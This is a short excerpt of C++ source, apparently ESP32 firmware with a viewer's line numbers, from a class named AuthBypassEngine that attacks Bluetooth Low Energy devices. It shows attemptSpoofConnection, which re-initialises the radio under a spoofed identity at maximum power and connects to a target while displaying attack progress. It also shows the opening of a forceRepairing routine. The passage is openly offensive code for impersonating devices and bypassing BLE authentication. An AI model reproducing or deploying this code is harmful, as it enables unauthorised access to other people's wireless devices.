| 2086 | } |
| 2087 | |
| 2088 | bool AuthBypassEngine::attemptSpoofConnection(NimBLEAddress target, const String &targetName) { |
| 2089 | AutoCleanup cleanup([]() { BLEStateManager::deinitBLE(true); }); |
| 2090 | |
| 2091 | String spoofAddress = getSpoofAddress(targetName); |
| 2092 | showAttackProgress(String("Spoofing as: " + spoofAddress).c_str(), TFT_CYAN); |
| 2093 | |
| 2094 | BLEStateManager::deinitBLE(true); |
| 2095 | delay(500); |
| 2096 | std::string spoofAddrStr = spoofAddress.c_str(); |
| 2097 | NimBLEDevice::init(spoofAddrStr); |
| 2098 | NimBLEDevice::setPower(ESP_PWR_LVL_P9); |
| 2099 | NimBLEDevice::setSecurityAuth(true, true, true); |
| 2100 | |
| 2101 | NimBLEClient *pClient = NimBLEDevice::createClient(); |
| 2102 | if (!pClient) return false; |
| 2103 | |
| 2104 | BLEStateManager::registerClient(pClient); |
| 2105 | |
| 2106 | pClient->setConnectTimeout(8); |
| 2107 | pClient->setConnectionParams(12, 12, 0, 400); |
| 2108 | bool connected = pClient->connect(target, true); |
| 2109 | |
| 2110 | if (connected) { |
| 2111 | showAttackProgress("Spoof connection successful!", TFT_GREEN); |
| 2112 | pClient->disconnect(); |
| 2113 | BLEStateManager::unregisterClient(pClient); |
| 2114 | NimBLEDevice::deleteClient(pClient); |
| 2115 | cleanup.disable(); |
| 2116 | return true; |
| 2117 | } |
| 2118 | BLEStateManager::unregisterClient(pClient); |
| 2119 | NimBLEDevice::deleteClient(pClient); |
| 2120 | return false; |
| 2121 | } |
| 2122 | |
| 2123 | bool AuthBypassEngine::forceRepairing(NimBLEAddress target) { |
| 2124 | AutoCleanup cleanup([]() { BLEStateManager::deinitBLE(true); }); |
nothing calls this directly
no test coverage detected